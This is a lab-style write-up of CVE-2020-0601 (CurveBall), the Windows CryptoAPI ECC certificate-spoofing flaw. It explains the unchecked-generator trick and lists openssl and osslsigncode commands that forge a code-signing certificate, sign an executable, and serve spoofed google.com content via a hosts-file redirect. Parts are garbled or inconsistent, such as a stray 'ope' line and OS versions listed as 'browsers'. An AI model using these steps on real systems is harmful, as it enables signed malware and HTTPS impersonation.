Vulnerability Details:

A spoofing vulnerability exists in the way Windows CryptoAPI (Crypt32.dll) validates Elliptic Curve Cryptography (ECC) certificates. An attacker could exploit the vulnerability by using a spoofed code-signing certificate to sign a malicious executable, making it appear the file was from a trusted, legitimate source.

ECC relies on different parameters. These parameters are standardized for many curves. However, system didn’t check all these parameters. The parameter G (the generator) was not checked, and the attacker can therefore supply their own generator, such that when system tries to validate the certificate against a trusted CA, it’ll only look for matching public keys, and then use the generator of the certificate.

In order to yield the same public key to spoof the certificate, private key is set to 1

public Key = Private Key * Generator

Public Key = Generator

Trusted public key is used as the generator of spoofing certificate; Generator is not validated by system

MicrosoftECCProductRootCertificateAuthority.cer is by default a trusted root certificate authority (CA) using ECConWindows10. Anything signed with this certificate will therefore automatically be trusted.

CVSS v3:

• Base Code 5.8

• Confidentiality Impact Partial

• Integrity Impact Partial

• Access Complexity Medium

• Authentication not required

• Availability Impact non

Mitigation:

Microsoft Windows 2020 updates had been released to patch CVE-2020-0601 vulnerability.

Major Impacted Browsers:

• Windows 10: Version 1607

• Windows 10 Version 1709

• Windows 10 Version 1803

• Windows 10 Version 1809

• Windows 10 Version 1903

• Windows 10 Version 1909

• Windows Server 2016-

• Windows Server 2016 Version 1803

• Windows Server 2016 Version 1903

• Windows Server 2016 Version 1909

• Windows Server 2019-

Exploitation:

Files location – https://packetstormsecurity.com/files/author/14686

Extract the public key from the trusted CA

ruby main.rb ./MicrosoftECCProductRootCertificateAuthority.cer

Generate a new x509 certificate based on this key. This will be spoofed CA

openssl req -new -x509 -key spoofed_ca.key -out spoofed_ca.crt

Generate a new key. It will be used to create a code signing certificate, which we will sign with our own CA

openssl ecparam -name secp384r1 -genkey -noout -out cert.key

Next, create a new certificate signing request (CSR)

openssl req -new -key cert.key -out cert.csr -config openssl_tls.conf -reqexts v3_tls

Sign new CSR with spoofed CA and CA key. This certificate will expire in 2047, whereas the real trusted Microsoft CA will expire in 2043.

ope

openssl x509 -req -in cert.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key –CAcreateserial
-out cert.crt -days 10000 -extfileopenssl_tls.conf -extensions v3_tls

Pack the certificate, its key and the spoofed CA into a PKCS12 file for signing executables

openssl pkcs12 -export -in cert.crt -inkey cert.key -certfile spoofed_ca.crt -name "Code 
Signing" -out cert.p12

Sign your executable with PKCS12 file

osslsigncode sign -pkcs12 cert.p12 -n "Signed" -in 7z1900-x64.exe -out 7z1900- x64_signed.exe

In windows VM, navigate to C:\Windows\System32\drivers\etc\hosts

Add IP address of Ubuntu VM and URL - https://www.google.com

Files cert.crt, cert.key, and spoofed_ca.crt are used to serve content. Add the spoofed_ca.crt as a certificate chain in your server’s HTTPS configuration. Configure “index.js” server file.

Server is started in Ubuntu VM

In Windows VM, open browser and navigate to https://www.google.com.

Error - “Your connection isn’t private” is displayed

Check certificate information. It is changed to the details of the spoofed certificate

The CA Root certificate is not trusted because it is not in the Trusted Root Certification Authorities store

Export the certificate

Install the spoofed certificate in Trusted Root Certification Authorities

Spoofed Certificate is in Trusted Root Certification Authorities

Open Browser – Internet Explorer and navigate to https://www.google.com

Spoofed CA is validated by web browser as Trusted Root CA and original https://www.google.comcontent is replaced with the incorrect information as mentioned in “index.js” file.

CVE-2020-0601 – Windows incorrect ECC certificate validation vulnerability is implemented

Reference:

– https://nvd.nist.gov/vuln/detail/CVE-2020-0601

– https://packetstormsecurity.com/files/author/14686/

– github.com-ollypwn-CVE-2020-0601_-_2020-01-17_10-09-11

#CryptoAPI #webbrowser #microsoft #certificate #certificatevalidation #CVE-2020-0601